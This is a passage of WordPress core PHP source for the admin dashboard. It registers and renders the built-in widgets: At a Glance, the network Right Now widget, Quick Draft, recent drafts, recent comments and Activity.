				wp_add_dashboard_widget( 'dashboard_php_nag', __( 'PHP Update Required' ), 'wp_dashboard_php_nag' );
			} else {
				wp_add_dashboard_widget( 'dashboard_php_nag', __( 'PHP Update Recommended' ), 'wp_dashboard_php_nag' );
			}
		}
	}

	// Site Health.
	if ( current_user_can( 'view_site_health_checks' ) && ! is_network_admin() ) {
		if ( ! class_exists( 'WP_Site_Health' ) ) {
			require_once ABSPATH . 'wp-admin/includes/class-wp-site-health.php';
		}

		WP_Site_Health::get_instance();

		wp_enqueue_style( 'site-health' );
		wp_enqueue_script( 'site-health' );

		wp_add_dashboard_widget( 'dashboard_site_health', __( 'Site Health Status' ), 'wp_dashboard_site_health' );
	}

	// Right Now.
	if ( is_blog_admin() && current_user_can( 'edit_posts' ) ) {
		wp_add_dashboard_widget( 'dashboard_right_now', __( 'At a Glance' ), 'wp_dashboard_right_now' );
	}

	if ( is_network_admin() ) {
		wp_add_dashboard_widget( 'network_dashboard_right_now', __( 'Right Now' ), 'wp_network_dashboard_right_now' );
	}

	// Activity Widget.
	if ( is_blog_admin() ) {
		wp_add_dashboard_widget( 'dashboard_activity', __( 'Activity' ), 'wp_dashboard_site_activity' );
	}

	// QuickPress Widget.
	if ( is_blog_admin() && current_user_can( get_post_type_object( 'post' )->cap->create_posts ) ) {
		$quick_draft_title = sprintf( '<span class="hide-if-no-js">%1$s</span> <span class="hide-if-js">%2$s</span>', __( 'Quick Draft' ), __( 'Your Recent Drafts' ) );
		wp_add_dashboard_widget( 'dashboard_quick_press', $quick_draft_title, 'wp_dashboard_quick_press' );
	}

	// WordPress Events and News.
	wp_add_dashboard_widget( 'dashboard_primary', __( 'WordPress Events and News' ), 'wp_dashboard_events_news' );

	if ( is_network_admin() ) {

		/**
		 * Fires after core widgets for the Network Admin dashboard have been registered.
		 *
		 * @since 3.1.0
		 */
		do_action( 'wp_network_dashboard_setup' );

		/**
		 * Filters the list of widgets to load for the Network Admin dashboard.
		 *
		 * @since 3.1.0
		 *
		 * @param string[] $dashboard_widgets An array of dashboard widget IDs.
		 */
		$dashboard_widgets = apply_filters( 'wp_network_dashboard_widgets', array() );
	} elseif ( is_user_admin() ) {

		/**
		 * Fires after core widgets for the User Admin dashboard have been registered.
		 *
		 * @since 3.1.0
		 */
		do_action( 'wp_user_dashboard_setup' );

		/**
		 * Filters the list of widgets to load for the User Admin dashboard.
		 *
		 * @since 3.1.0
		 *
		 * @param string[] $dashboard_widgets An array of dashboard widget IDs.
		 */
		$dashboard_widgets = apply_filters( 'wp_user_dashboard_widgets', array() );
	} else {

		/**
		 * Fires after core widgets for the admin dashboard have been registered.
		 *
		 * @since 2.5.0
		 */
		do_action( 'wp_dashboard_setup' );

		/**
		 * Filters the list of widgets to load for the admin dashboard.
		 *
		 * @since 2.5.0
		 *
		 * @param string[] $dashboard_widgets An array of dashboard widget IDs.
		 */
		$dashboard_widgets = apply_filters( 'wp_dashboard_widgets', array() );
	}

	foreach ( $dashboard_widgets as $widget_id ) {
		$name = empty( $wp_registered_widgets[ $widget_id ]['all_link'] ) ? $wp_registered_widgets[ $widget_id ]['name'] : $wp_registered_widgets[ $widget_id ]['name'] . " <a href='{$wp_registered_widgets[$widget_id]['all_link']}' class='edit-box open-box'>" . __( 'View all' ) . '</a>';
		wp_add_dashboard_widget( $widget_id, $name, $wp_registered_widgets[ $widget_id ]['callback'], $wp_registered_widget_controls[ $widget_id ]['callback'] );
	}

	if ( 'POST' === $_SERVER['REQUEST_METHOD'] && isset( $_POST['widget_id'] ) ) {
		check_admin_referer( 'edit-dashboard-widget_' . $_POST['widget_id'], 'dashboard-widget-nonce' );
		ob_start(); // Hack - but the same hack wp-admin/widgets.php uses.
		wp_dashboard_trigger_widget_control( $_POST['widget_id'] );
		ob_end_clean();
		wp_redirect( remove_query_arg( 'edit' ) );
		exit;
	}

	/** This action is documented in wp-admin/includes/meta-boxes.php */
	do_action( 'do_meta_boxes', $screen->id, 'normal', '' );

	/** This action is documented in wp-admin/includes/meta-boxes.php */
	do_action( 'do_meta_boxes', $screen->id, 'side', '' );
}

/**
 * Adds a new dashboard widget.
 *
 * @since 2.7.0
 * @since 5.6.0 The `$context` and `$priority` parameters were added.
 *
 * @global callable[] $wp_dashboard_control_callbacks
 *
 * @param string   $widget_id        Widget ID  (used in the 'id' attribute for the widget).
 * @param string   $widget_name      Title of the widget.
 * @param callable $callback         Function that fills the widget with the desired content.
 *                                   The function should echo its output.
 * @param callable $control_callback Optional. Function that outputs controls for the widget. Default null.
 * @param array    $callback_args    Optional. Data that should be set as the $args property of the widget array
 *                                   (which is the second parameter passed to your callback). Default null.
 * @param string   $context          Optional. The context within the screen where the box should display.
 *                                   Accepts 'normal', 'side', 'column3', or 'column4'. Default 'normal'.
 * @param string   $priority         Optional. The priority within the context where the box should show.
 *                                   Accepts 'high', 'core', 'default', or 'low'. Default 'core'.
 */
function wp_add_dashboard_widget( $widget_id, $widget_name, $callback, $control_callback = null, $callback_args = null, $context = 'normal', $priority = 'core' ) {
	global $wp_dashboard_control_callbacks;

	$screen = get_current_screen();

	$private_callback_args = array( '__widget_basename' => $widget_name );

	if ( is_null( $callback_args ) ) {
		$callback_args = $private_callback_args;
	} elseif ( is_array( $callback_args ) ) {
		$callback_args = array_merge( $callback_args, $private_callback_args );
	}

	if ( $control_callback && is_callable( $control_callback ) && current_user_can( 'edit_dashboard' ) ) {
		$wp_dashboard_control_callbacks[ $widget_id ] = $control_callback;

		if ( isset( $_GET['edit'] ) && $widget_id === $_GET['edit'] ) {
			list($url)    = explode( '#', add_query_arg( 'edit', false ), 2 );
			$widget_name .= ' <span class="postbox-title-action"><a href="' . esc_url( $url ) . '">' . __( 'Cancel' ) . '</a></span>';
			$callback     = '_wp_dashboard_control_callback';
		} else {
			list($url)    = explode( '#', add_query_arg( 'edit', $widget_id ), 2 );
			$widget_name .= ' <span class="postbox-title-action"><a href="' . esc_url( "$url#$widget_id" ) . '" class="edit-box open-box">' . __( 'Configure' ) . '</a></span>';
		}
	}

	$side_widgets = array( 'dashboard_quick_press', 'dashboard_primary' );

	if ( in_array( $widget_id, $side_widgets, true ) ) {
		$context = 'side';
	}

	$high_priority_widgets = array( 'dashboard_browser_nag', 'dashboard_php_nag' );

	if ( in_array( $widget_id, $high_priority_widgets, true ) ) {
		$priority = 'high';
	}

	if ( empty( $context ) ) {
		$context = 'normal';
	}

	if ( empty( $priority ) ) {
		$priority = 'core';
	}

	add_meta_box( $widget_id, $widget_name, $callback, $screen, $context, $priority, $callback_args );
}

/**
 * Outputs controls for the current dashboard widget.
 *
 * @access private
 * @since 2.7.0
 *
 * @param mixed $dashboard
 * @param array $meta_box
 */
function _wp_dashboard_control_callback( $dashboard, $meta_box ) {
	echo '<form method="post" class="dashboard-widget-control-form wp-clearfix">';
	wp_dashboard_trigger_widget_control( $meta_box['id'] );
	wp_nonce_field( 'edit-dashboard-widget_' . $meta_box['id'], 'dashboard-widget-nonce' );
	echo '<input type="hidden" name="widget_id" value="' . esc_attr( $meta_box['id'] ) . '" />';
	submit_button( __( 'Save Changes' ) );
	echo '</form>';
}

/**
 * Displays the dashboard.
 *
 * @since 2.5.0
 */
function wp_dashboard() {
	$screen      = get_current_screen();
	$columns     = absint( $screen->get_columns() );
	$columns_css = '';

	if ( $columns ) {
		$columns_css = " columns-$columns";
	}
	?>
<div id="dashboard-widgets" class="metabox-holder<?php echo $columns_css; ?>">
	<div id="postbox-container-1" class="postbox-container">
	<?php do_meta_boxes( $screen->id, 'normal', '' ); ?>
	</div>
	<div id="postbox-container-2" class="postbox-container">
	<?php do_meta_boxes( $screen->id, 'side', '' ); ?>
	</div>
	<div id="postbox-container-3" class="postbox-container">
	<?php do_meta_boxes( $screen->id, 'column3', '' ); ?>
	</div>
	<div id="postbox-container-4" class="postbox-container">
	<?php do_meta_boxes( $screen->id, 'column4', '' ); ?>
	</div>
</div>

	<?php
	wp_nonce_field( 'closedpostboxes', 'closedpostboxesnonce', false );
	wp_nonce_field( 'meta-box-order', 'meta-box-order-nonce', false );
}

//
// Dashboard Widgets.
//

/**
 * Dashboard widget that displays some basic stats about the site.
 *
 * Formerly 'Right Now'. A streamlined 'At a Glance' as of 3.8.
 *
 * @since 2.7.0
 */
function wp_dashboard_right_now() {
	?>
	<div class="main">
	<ul>
	<?php
	// Posts and Pages.
	foreach ( array( 'post', 'page' ) as $post_type ) {
		$num_posts = wp_count_posts( $post_type );

		if ( $num_posts && $num_posts->publish ) {
			if ( 'post' === $post_type ) {
				/* translators: %s: Number of posts. */
				$text = _n( '%s Post', '%s Posts', $num_posts->publish );
			} else {
				/* translators: %s: Number of pages. */
				$text = _n( '%s Page', '%s Pages', $num_posts->publish );
			}

			$text             = sprintf( $text, number_format_i18n( $num_posts->publish ) );
			$post_type_object = get_post_type_object( $post_type );

			if ( $post_type_object && current_user_can( $post_type_object->cap->edit_posts ) ) {
				printf( '<li class="%1$s-count"><a href="edit.php?post_type=%1$s">%2$s</a></li>', $post_type, $text );
			} else {
				printf( '<li class="%1$s-count"><span>%2$s</span></li>', $post_type, $text );
			}
		}
	}

	// Comments.
	$num_comm = wp_count_comments();

	if ( $num_comm && ( $num_comm->approved || $num_comm->moderated ) ) {
		/* translators: %s: Number of comments. */
		$text = sprintf( _n( '%s Comment', '%s Comments', $num_comm->approved ), number_format_i18n( $num_comm->approved ) );
		?>
		<li class="comment-count">
			<a href="edit-comments.php"><?php echo $text; ?></a>
		</li>
		<?php
		$moderated_comments_count_i18n = number_format_i18n( $num_comm->moderated );
		/* translators: %s: Number of comments. */
		$text = sprintf( _n( '%s Comment in moderation', '%s Comments in moderation', $num_comm->moderated ), $moderated_comments_count_i18n );
		?>
		<li class="comment-mod-count<?php echo ! $num_comm->moderated ? ' hidden' : ''; ?>">
			<a href="edit-comments.php?comment_status=moderated" class="comments-in-moderation-text"><?php echo $text; ?></a>
		</li>
		<?php
	}

	/**
	 * Filters the array of extra elements to list in the 'At a Glance'
	 * dashboard widget.
	 *
	 * Prior to 3.8.0, the widget was named 'Right Now'. Each element
	 * is wrapped in list-item tags on output.
	 *
	 * @since 3.8.0
	 *
	 * @param string[] $items Array of extra 'At a Glance' widget items.
	 */
	$elements = apply_filters( 'dashboard_glance_items', array() );

	if ( $elements ) {
		echo '<li>' . implode( "</li>\n<li>", $elements ) . "</li>\n";
	}

	?>
	</ul>
	<?php
	update_right_now_message();

	// Check if search engines are asked not to index this site.
	if ( ! is_network_admin() && ! is_user_admin()
		&& current_user_can( 'manage_options' ) && ! get_option( 'blog_public' )
	) {

		/**
		 * Filters the link title attribute for the 'Search engines discouraged'
		 * message displayed in the 'At a Glance' dashboard widget.
		 *
		 * Prior to 3.8.0, the widget was named 'Right Now'.
		 *
		 * @since 3.0.0
		 * @since 4.5.0 The default for `$title` was updated to an empty string.
		 *
		 * @param string $title Default attribute text.
		 */
		$title = apply_filters( 'privacy_on_link_title', '' );

		/**
		 * Filters the link label for the 'Search engines discouraged' message
		 * displayed in the 'At a Glance' dashboard widget.
		 *
		 * Prior to 3.8.0, the widget was named 'Right Now'.
		 *
		 * @since 3.0.0
		 *
		 * @param string $content Default text.
		 */
		$content = apply_filters( 'privacy_on_link_text', __( 'Search engines discouraged' ) );

		$title_attr = '' === $title ? '' : " title='$title'";

		echo "<p class='search-engines-info'><a href='options-reading.php'$title_attr>$content</a></p>";
	}
	?>
	</div>
	<?php
	/*
	 * activity_box_end has a core action, but only prints content when multisite.
	 * Using an output buffer is the only way to really check if anything's displayed here.
	 */
	ob_start();

	/**
	 * Fires at the end of the 'At a Glance' dashboard widget.
	 *
	 * Prior to 3.8.0, the widget was named 'Right Now'.
	 *
	 * @since 2.5.0
	 */
	do_action( 'rightnow_end' );

	/**
	 * Fires at the end of the 'At a Glance' dashboard widget.
	 *
	 * Prior to 3.8.0, the widget was named 'Right Now'.
	 *
	 * @since 2.0.0
	 */
	do_action( 'activity_box_end' );

	$actions = ob_get_clean();

	if ( ! empty( $actions ) ) :
		?>
	<div class="sub">
		<?php echo $actions; ?>
	</div>
		<?php
	endif;
}

/**
 * @since 3.1.0
 */
function wp_network_dashboard_right_now() {
	$actions = array();

	if ( current_user_can( 'create_sites' ) ) {
		$actions['create-site'] = '<a href="' . network_admin_url( 'site-new.php' ) . '">' . __( 'Create a New Site' ) . '</a>';
	}
	if ( current_user_can( 'create_users' ) ) {
		$actions['create-user'] = '<a href="' . network_admin_url( 'user-new.php' ) . '">' . __( 'Create a New User' ) . '</a>';
	}

	$c_users = get_user_count();
	$c_blogs = get_blog_count();

	/* translators: %s: Number of users on the network. */
	$user_text = sprintf( _n( '%s user', '%s users', $c_users ), number_format_i18n( $c_users ) );
	/* translators: %s: Number of sites on the network. */
	$blog_text = sprintf( _n( '%s site', '%s sites', $c_blogs ), number_format_i18n( $c_blogs ) );

	/* translators: 1: Text indicating the number of sites on the network, 2: Text indicating the number of users on the network. */
	$sentence = sprintf( __( 'You have %1$s and %2$s.' ), $blog_text, $user_text );

	if ( $actions ) {
		echo '<ul class="subsubsub">';
		foreach ( $actions as $class => $action ) {
			$actions[ $class ] = "\t<li class='$class'>$action";
		}
		echo implode( " |</li>\n", $actions ) . "</li>\n";
		echo '</ul>';
	}
	?>
	<br class="clear" />

	<p class="youhave"><?php echo $sentence; ?></p>


	<?php
		/**
		 * Fires in the Network Admin 'Right Now' dashboard widget
		 * just before the user and site search form fields.
		 *
		 * @since MU (3.0.0)
		 */
		do_action( 'wpmuadminresult' );
	?>

	<form action="<?php echo esc_url( network_admin_url( 'users.php' ) ); ?>" method="get">
		<p>
			<label class="screen-reader-text" for="search-users">
				<?php
				/* translators: Hidden accessibility text. */
				_e( 'Search Users' );
				?>
			</label>
			<input type="search" name="s" value="" size="30" autocomplete="off" id="search-users" />
			<?php submit_button( __( 'Search Users' ), '', false, false, array( 'id' => 'submit_users' ) ); ?>
		</p>
	</form>

	<form action="<?php echo esc_url( network_admin_url( 'sites.php' ) ); ?>" method="get">
		<p>
			<label class="screen-reader-text" for="search-sites">
				<?php
				/* translators: Hidden accessibility text. */
				_e( 'Search Sites' );
				?>
			</label>
			<input type="search" name="s" value="" size="30" autocomplete="off" id="search-sites" />
			<?php submit_button( __( 'Search Sites' ), '', false, false, array( 'id' => 'submit_sites' ) ); ?>
		</p>
	</form>
	<?php
	/**
	 * Fires at the end of the 'Right Now' widget in the Network Admin dashboard.
	 *
	 * @since MU (3.0.0)
	 */
	do_action( 'mu_rightnow_end' );

	/**
	 * Fires at the end of the 'Right Now' widget in the Network Admin dashboard.
	 *
	 * @since MU (3.0.0)
	 */
	do_action( 'mu_activity_box_end' );
}

/**
 * Displays the Quick Draft widget.
 *
 * @since 3.8.0
 *
 * @global int $post_ID
 *
 * @param string|false $error_msg Optional. Error message. Default false.
 */
function wp_dashboard_quick_press( $error_msg = false ) {
	global $post_ID;

	if ( ! current_user_can( 'edit_posts' ) ) {
		return;
	}

	// Check if a new auto-draft (= no new post_ID) is needed or if the old can be used.
	$last_post_id = (int) get_user_option( 'dashboard_quick_press_last_post_id' ); // Get the last post_ID.

	if ( $last_post_id ) {
		$post = get_post( $last_post_id );

		if ( empty( $post ) || 'auto-draft' !== $post->post_status ) { // auto-draft doesn't exist anymore.
			$post = get_default_post_to_edit( 'post', true );
			update_user_option( get_current_user_id(), 'dashboard_quick_press_last_post_id', (int) $post->ID ); // Save post_ID.
		} else {
			$post->post_title = ''; // Remove the auto draft title.
		}
	} else {
		$post    = get_default_post_to_edit( 'post', true );
		$user_id = get_current_user_id();

		// Don't create an option if this is a super admin who does not belong to this site.
		if ( in_array( get_current_blog_id(), array_keys( get_blogs_of_user( $user_id ) ), true ) ) {
			update_user_option( $user_id, 'dashboard_quick_press_last_post_id', (int) $post->ID ); // Save post_ID.
		}
	}

	$post_ID = (int) $post->ID;
	?>

	<form name="post" action="<?php echo esc_url( admin_url( 'post.php' ) ); ?>" method="post" id="quick-press" class="initial-form hide-if-no-js">

		<?php
		if ( $error_msg ) {
			wp_admin_notice(
				$error_msg,
				array(
					'additional_classes' => array( 'error' ),
				)
			);
		}
		?>

		<div class="input-text-wrap" id="title-wrap">
			<label for="title">
				<?php
				/** This filter is documented in wp-admin/edit-form-advanced.php */
				echo apply_filters( 'enter_title_here', __( 'Title' ), $post );
				?>
			</label>
			<input type="text" name="post_title" id="title" autocomplete="off" />
		</div>

		<div class="textarea-wrap" id="description-wrap">
			<label for="content"><?php _e( 'Content' ); ?></label>
			<textarea name="content" id="content" placeholder="<?php esc_attr_e( 'What&#8217;s on your mind?' ); ?>" class="mceEditor" rows="3" cols="15" autocomplete="off"></textarea>
		</div>

		<p class="submit">
			<input type="hidden" name="action" id="quickpost-action" value="post-quickdraft-save" />
			<input type="hidden" name="post_ID" value="<?php echo $post_ID; ?>" />
			<input type="hidden" name="post_type" value="post" />
			<?php wp_nonce_field( 'add-post' ); ?>
			<?php submit_button( __( 'Save Draft' ), 'primary', 'save', false, array( 'id' => 'save-post' ) ); ?>
			<br class="clear" />
		</p>

	</form>
	<?php
	wp_dashboard_recent_drafts();
}

/**
 * Show recent drafts of the user on the dashboard.
 *
 * @since 2.7.0
 *
 * @param WP_Post[]|false $drafts Optional. Array of posts to display. Default false.
 */
function wp_dashboard_recent_drafts( $drafts = false ) {
	if ( ! $drafts ) {
		$query_args = array(
			'post_type'      => 'post',
			'post_status'    => 'draft',
			'author'         => get_current_user_id(),
			'posts_per_page' => 4,
			'orderby'        => 'modified',
			'order'          => 'DESC',
		);

		/**
		 * Filters the post query arguments for the 'Recent Drafts' dashboard widget.
		 *
		 * @since 4.4.0
		 *
		 * @param array $query_args The query arguments for the 'Recent Drafts' dashboard widget.
		 */
		$query_args = apply_filters( 'dashboard_recent_drafts_query_args', $query_args );

		$drafts = get_posts( $query_args );
		if ( ! $drafts ) {
			return;
		}
	}

	echo '<div class="drafts">';

	if ( count( $drafts ) > 3 ) {
		printf(
			'<p class="view-all"><a href="%s">%s</a></p>' . "\n",
			esc_url( admin_url( 'edit.php?post_status=draft' ) ),
			__( 'View all drafts' )
		);
	}

	echo '<h2 class="hide-if-no-js">' . __( 'Your Recent Drafts' ) . "</h2>\n";
	echo '<ul>';

	/* translators: Maximum number of words used in a preview of a draft on the dashboard. */
	$draft_length = (int) _x( '10', 'draft_length' );

	$drafts = array_slice( $drafts, 0, 3 );
	foreach ( $drafts as $draft ) {
		$url   = get_edit_post_link( $draft->ID );
		$title = _draft_or_post_title( $draft->ID );

		echo "<li>\n";
		printf(
			'<div class="draft-title"><a href="%s" aria-label="%s">%s</a><time datetime="%s">%s</time></div>',
			esc_url( $url ),
			/* translators: %s: Post title. */
			esc_attr( sprintf( __( 'Edit &#8220;%s&#8221;' ), $title ) ),
			esc_html( $title ),
			get_the_time( 'c', $draft ),
			get_the_time( __( 'F j, Y' ), $draft )
		);

		$the_content = wp_trim_words( $draft->post_content, $draft_length );

		if ( $the_content ) {
			echo '<p>' . $the_content . '</p>';
		}
		echo "</li>\n";
	}

	echo "</ul>\n";
	echo '</div>';
}

/**
 * Outputs a row for the Recent Comments widget.
 *
 * @access private
 * @since 2.7.0
 *
 * @global WP_Comment $comment Global comment object.
 *
 * @param WP_Comment $comment   The current comment.
 * @param bool       $show_date Optional. Whether to display the date.
 */
function _wp_dashboard_recent_comments_row( &$comment, $show_date = true ) {
	$GLOBALS['comment'] = clone $comment;

	if ( $comment->comment_post_ID > 0 ) {
		$comment_post_title = _draft_or_post_title( $comment->comment_post_ID );
		$comment_post_url   = get_the_permalink( $comment->comment_post_ID );
		$comment_post_link  = '<a href="' . esc_url( $comment_post_url ) . '">' . $comment_post_title . '</a>';
	} else {
		$comment_post_link = '';
	}

	$actions_string = '';
	if ( current_user_can( 'edit_comment', $comment->comment_ID ) ) {
		// Pre-order it: Approve | Reply | Edit | Spam | Trash.
		$actions = array(
			'approve'   => '',
			'unapprove' => '',
			'reply'     => '',
			'edit'      => '',
			'spam'      => '',
			'trash'     => '',
			'delete'    => '',
			'view'      => '',
		);

		$del_nonce     = esc_html( '_wpnonce=' . wp_create_nonce( "delete-comment_$comment->comment_ID" ) );
		$approve_nonce = esc_html( '_wpnonce=' . wp_create_nonce( "approve-comment_$comment->comment_ID" ) );

		$approve_url   = esc_url( "comment.php?action=approvecomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$approve_nonce" );
		$unapprove_url = esc_url( "comment.php?action=unapprovecomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$approve_nonce" );
		$spam_url      = esc_url( "comment.php?action=spamcomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$del_nonce" );
		$trash_url     = esc_url( "comment.php?action=trashcomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$del_nonce" );
		$delete_url    = esc_url( "comment.php?action=deletecomment&p=$comment->comment_post_ID&c=$comment->comment_ID&$del_nonce" );

		$actions['approve'] = sprintf(
			'<a href="%s" data-wp-lists="%s" class="vim-a aria-button-if-js" aria-label="%s">%s</a>',
			$approve_url,
			"dim:the-comment-list:comment-{$comment->comment_ID}:unapproved:e7e7d3:e7e7d3:new=approved",
			esc_attr__( 'Approve this comment' ),
			__( 'Approve' )
		);

		$actions['unapprove'] = sprintf(
			'<a href="%s" data-wp-lists="%s" class="vim-u aria-button-if-js" aria-label="%s">%s</a>',
			$unapprove_url,
			"dim:the-comment-list:comment-{$comment->comment_ID}:unapproved:e7e7d3:e7e7d3:new=unapproved",
			esc_attr__( 'Unapprove this comment' ),
			__( 'Unapprove' )
		);

		$actions['edit'] = sprintf(
			'<a href="%s" aria-label="%s">%s</a>',
			"comment.php?action=editcomment&amp;c={$comment->comment_ID}",
			esc_attr__( 'Edit this comment' ),
			__( 'Edit' )
		);

		$actions['reply'] = sprintf(
			'<button type="button" onclick="window.commentReply && commentReply.open(\'%s\',\'%s\');" class="vim-r button-link hide-if-no-js" aria-label="%s">%s</button>',
			$comment->comment_ID,
			$comment->comment_post_ID,
			esc_attr__( 'Reply to this comment' ),
			__( 'Reply' )
		);

		$actions['spam'] = sprintf(
			'<a href="%s" data-wp-lists="%s" class="vim-s vim-destructive aria-button-if-js" aria-label="%s">%s</a>',
			$spam_url,
			"delete:the-comment-list:comment-{$comment->comment_ID}::spam=1",
			esc_attr__( 'Mark this comment as spam' ),
			/* translators: "Mark as spam" link. */
			_x( 'Spam', 'verb' )
		);

		if ( ! EMPTY_TRASH_DAYS ) {
			$actions['delete'] = sprintf(
				'<a href="%s" data-wp-lists="%s" class="delete vim-d vim-destructive aria-button-if-js" aria-label="%s">%s</a>',
				$delete_url,
				"delete:the-comment-list:comment-{$comment->comment_ID}::trash=1",
				esc_attr__( 'Delete this comment permanently' ),
				__( 'Delete Permanently' )
			);
		} else {
			$actions['trash'] = sprintf(
				'<a href="%s" data-wp-lists="%s" class="delete vim-d vim-destructive aria-button-if-js" aria-label="%s">%s</a>',
				$trash_url,
				"delete:the-comment-list:comment-{$comment->comment_ID}::trash=1",
				esc_attr__( 'Move this comment to the Trash' ),
				_x( 'Trash', 'verb' )
			);
		}

		$actions['view'] = sprintf(
			'<a class="comment-link" href="%s" aria-label="%s">%s</a>',
			esc_url( get_comment_link( $comment ) ),
			esc_attr__( 'View this comment' ),
			__( 'View' )
		);

		/**
		 * Filters the action links displayed for each comment in the 'Recent Comments'
		 * dashboard widget.
		 *
		 * @since 2.6.0
		 *
		 * @param string[]   $actions An array of comment actions. Default actions include:
		 *                            'Approve', 'Unapprove', 'Edit', 'Reply', 'Spam',
		 *                            'Delete', and 'Trash'.
		 * @param WP_Comment $comment The comment object.
		 */
		$actions = apply_filters( 'comment_row_actions', array_filter( $actions ), $comment );

		$i = 0;

		foreach ( $actions as $action => $link ) {
			++$i;

			if ( ( ( 'approve' === $action || 'unapprove' === $action ) && 2 === $i )
				|| 1 === $i
			) {
				$separator = '';
			} else {
				$separator = ' | ';
			}

			// Reply and quickedit need a hide-if-no-js span.
			if ( 'reply' === $action || 'quickedit' === $action ) {
				$action .= ' hide-if-no-js';
			}

			if ( 'view' === $action && '1' !== $comment->comment_approved ) {
				$action .= ' hidden';
			}

			$actions_string .= "<span class='$action'>{$separator}{$link}</span>";
		}
	}
	?>

		<li id="comment-<?php echo $comment->comment_ID; ?>" <?php comment_class( array( 'comment-item', wp_get_comment_status( $comment ) ), $comment ); ?>>

			<?php
			$comment_row_class = '';

			if ( get_option( 'show_avatars' ) ) {
				echo get_avatar( $comment, 50, 'mystery' );
				$comment_row_class .= ' has-avatar';
			}
			?>

			<?php if ( ! $comment->comment_type || 'comment' === $comment->comment_type ) : ?>

			<div class="dashboard-comment-wrap has-row-actions <?php echo $comment_row_class; ?>">
			<p class="comment-meta">
				<?php
				// Comments might not have a post they relate to, e.g. programmatically created ones.
				if ( $comment_post_link ) {
					printf(
						/* translators: 1: Comment author, 2: Post link, 3: Notification if the comment is pending. */
						__( 'From %1$s on %2$s %3$s' ),
						'<cite class="comment-author">' . get_comment_author_link( $comment ) . '</cite>',
						$comment_post_link,
						'<span class="approve">' . __( '[Pending]' ) . '</span>'
					);
				} else {
					printf(
						/* translators: 1: Comment author, 2: Notification if the comment is pending. */
						__( 'From %1$s %2$s' ),
						'<cite class="comment-author">' . get_comment_author_link( $comment ) . '</cite>',
						'<span class="approve">' . __( '[Pending]' ) . '</span>'
					);
				}
				?>
			</p>

				<?php
			else :
				switch ( $comment->comment_type ) {
					case 'pingback':
						$type = __( 'Pingback' );
						break;
					case 'trackback':
						$type = __( 'Trackback' );
						break;
					default:
						$type = ucwords( $comment->comment_type );
				}
				$type = esc_html( $type );
				?>
			<div class="dashboard-comment-wrap has-row-actions">
			<p class="comment-meta">
				<?php
				// Pingbacks, Trackbacks or custom comment types might not have a post they relate to, e.g. programmatically created ones.
				if ( $comment_post_link ) {
					printf(
						/* translators: 1: Type of comment, 2: Post link, 3: Notification if the comment is pending. */
						_x( '%1$s on %2$s %3$s', 'dashboard' ),
						"<strong>$type</strong>",
						$comment_post_link,
						'<span class="approve">' . __( '[Pending]' ) . '</span>'
					);
				} else {
					printf(
						/* translators: 1: Type of comment, 2: Notification if the comment is pending. */
						_x( '%1$s %2$s', 'dashboard' ),
						"<strong>$type</strong>",
						'<span class="approve">' . __( '[Pending]' ) . '</span>'
					);
				}
				?>
			</p>
			<p class="comment-author"><?php comment_author_link( $comment ); ?></p>

			<?php endif; // comment_type ?>
			<blockquote><p><?php comment_excerpt( $comment ); ?></p></blockquote>
			<?php if ( $actions_string ) : ?>
			<p class="row-actions"><?php echo $actions_string; ?></p>
			<?php endif; ?>
			</div>
		</li>
	<?php
	$GLOBALS['comment'] = null;
}

/**
 * Outputs the Activity widget.
 *
 * Callback function for {@see 'dashboard_activity'}.
 *
 * @since 3.8.0
 */
function wp_dashboard_site_activity() {

	echo '<div id="activity-widget">';

	$future_posts = wp_dashboard_recent_posts(
		array(
			'max'    => 5,
			'status' => 'future',
			'order'  => 'ASC',
			'title'  => __( 'Publishing Soon' ),
			'id'     => 'future-posts',
		)
	);
	$recent_posts = wp_dashboard_recent_posts(
		array(
			'max'    => 5,
			'status' => 'publish',
			'order'  => 'DESC',
			'title'  => __( 'Recently Published' ),
			'id'     => 'published-posts',
		)
	);

	$recent_comments = wp_dashboard_recent_comments();

	if ( ! $future_posts && ! $recent_posts && ! $recent_comments ) {
		echo '<div class="no-activity">';
		echo '<p>' . __( 'No activity yet!' ) . '</p>';
		echo '</div>';
	}

	echo '</div>';
}

/**
 * Generates Publishing Soon and Recently Published sections.
 *
 * @since 3.8.0
 *
 * @param array $args {
 *     An array of query and display arguments.
 *
 *     @type int    $max     Number of posts to display.
 *     @type string $status  Post status.
 *     @type string $order   Designates ascending ('ASC') or descending ('DESC') order.
 *     @type string $title   Section title.
 *     @type string $id      The container id.
 * }
 * @return bool False if no posts were found. True otherwise.
 */
function wp_dashboard_recent_posts( $args ) {
	$query_args = array(
		'post_type'      => 'post',
		'post_status'    => $args['status'],
		'orderby'        => 'date',
		'order'          => $args['order'],
		'posts_per_page' => (int) $args['max'],
		'no_found_rows'  => true,
		'cache_results'  => true,
		'perm'           => ( 'future' === $args['status'] ) ? 'editable' : 'readable',
	);

	/**
	 * Filters the query arguments used for the Recent Posts widget.
	 *
	 * @since 4.2.0
	 *
	 * @param array $query_args The arguments passed to WP_Query to produce the list of posts.
	 */
	$query_args = apply_filters( 'dashboard_recent_posts_query_args', $query_args );

	$posts = new WP_Query( $query_args );

	if ( $posts->have_posts() ) {

		echo '<div id="' . $args['id'] . '" class="activity-block">';

		echo '<h3>' . $args['title'] . '</h3>';

		echo '<ul>';

		$today    = current_time( 'Y-m-d' );
		$tomorrow = current_datetime()->modify( '+1 day' )->format( 'Y-m-d' );
		$year     = current_time( 'Y' );

		while ( $posts->have_posts() ) {
			$posts->the_post();

			$time = get_the_time( 'U' );

			if ( gmdate( 'Y-m-d', $time ) === $today ) {
				$relative = __( 'Today' );
			} elseif ( gmdate( 'Y-m-d', $time ) === $tomorrow ) {
				$relative = __( 'Tomorrow' );
			} elseif ( gmdate( 'Y', $time ) !== $year ) {
				/* translators: Date and time format for recent posts on the dashboard, from a different calendar year, see https://www.php.net/manual/datetime.format.php */
				$relative = date_i18n( __( 'M jS Y' ), $time );
			} else {
				/* translators: Date and time format for recent posts on the dashboard, see https://www.php.net/manual/datetime.format.php */
				$relative = date_i18n( __( 'M jS' ), $time );
			}

			// Use the post edit link for those who can edit, the permalink otherwise.
			$recent_post_link = current_user_can( 'edit_post', get_the_ID() ) ? get_edit_post_link() : get_permalink();

			$draft_or_post_title = _draft_or_post_title();
			printf(
				'<li><span>%1$s</span> <a href="%2$s" aria-label="%3$s">%4$s</a></li>',
				/* translators: 1: Relative date, 2: Time. */
